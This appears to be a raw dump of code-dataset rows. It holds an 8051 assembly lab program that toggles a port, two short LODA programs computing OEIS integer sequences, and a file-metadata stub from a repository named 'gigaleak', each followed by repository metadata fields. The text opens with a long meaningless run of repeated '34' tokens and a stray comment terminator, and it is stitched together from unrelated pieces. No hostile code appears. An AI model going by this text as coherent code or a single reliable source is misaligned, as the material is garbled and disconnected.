34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
31.74031
2,999
0.658078
cdb3028dc0315961fc1da6ba7959ad61ea2b91e6
159
asm
Assembly
Sem4/AEIE_LAB/Day4_VAMP.asm
SOUMEE2000/Heritage-CSE-Codes
040d4e4c8d8f2b92ad74bd373243611d912c6a91
[ "Apache-2.0" ]
null
null
null
Sem4/AEIE_LAB/Day4_VAMP.asm
SOUMEE2000/Heritage-CSE-Codes
040d4e4c8d8f2b92ad74bd373243611d912c6a91
[ "Apache-2.0" ]
null
null
null
Sem4/AEIE_LAB/Day4_VAMP.asm
SOUMEE2000/Heritage-CSE-Codes
040d4e4c8d8f2b92ad74bd373243611d912c6a91
[ "Apache-2.0" ]
null
null
null
ORG 00H SJMP MAIN ORG 50H MAIN: CLR P0.7 MOV A, #00H LOOP: MOV P1, A INC A MOV P1, #0FFH SJMP LOOP DELAY: MOV R0, #20H L1: DJNZ R0, L1 RET
12.230769
19
0.591195
a01ab20bf4680409477fb6fd254a0c1b735a88fb
304
asm
Assembly
programs/oeis/258/A258618.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/258/A258618.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/258/A258618.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A258618: a(n) = (4*n+9)*n^2. ; 0,13,68,189,400,725,1188,1813,2624,3645,4900,6413,8208,10309,12740,15525,18688,22253,26244,30685,35600,41013,46948,53429,60480,68125,76388,85293,94864,105125,116100,127813,140288,153549,167620,182525,198288,214933 mov $1,$0 add $0,2 mul $0,4 add $0,1 pow $1,2 mul $1,$0
30.4
215
0.723684
0d2616c7928d06db5859d1b05441446b33083562
150
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/srd13-SFCマリオコレクション/export/mario-z/linkp/mario_n3/mn_hp_mr3bgd5.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/srd13-SFCマリオコレクション/export/mario-z/linkp/mario_n3/mn_hp_mr3bgd5.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/srd13-SFCマリオコレクション/export/mario-z/linkp/mario_n3/mn_hp_mr3bgd5.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: mn_hp_mr3bgd5.asm Type: file Size: 4608 Last-Modified: '2013-06-27T06:41:24Z' SHA-1: 2614192461767516A666F9CB2E0F3762AA599A8A Description: null
21.428571
47
0.82
8f3be692f46ec022077ca3a9a2665b41f7458170
412
asm
Assembly
oeis/117/A117413.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/117/A117413.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/117/A117413.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A117413: Expansion of (1-x^2)/(1-2x^2+4x^3+x^4). ; Submitted by Christian Krause ; 1,0,1,-4,1,-12,17,-24,81,-104,241,-508,817,-1876,3425,-6512,13537,-24848,49697,-97332,185249,-368604,710129,-1380872,2709425,-5233656,10232209,-19924140,38689617,-75543460,146843585,-285921248,557171393,-1083673376,2111184193,-4110111076 mov $2,-1 pow $2,$0 mul $0,2 seq $0,52922 ; Expansion of 1/(1 - 2*x^3 - x^4). mul $0,$2
41.2
239
0.699029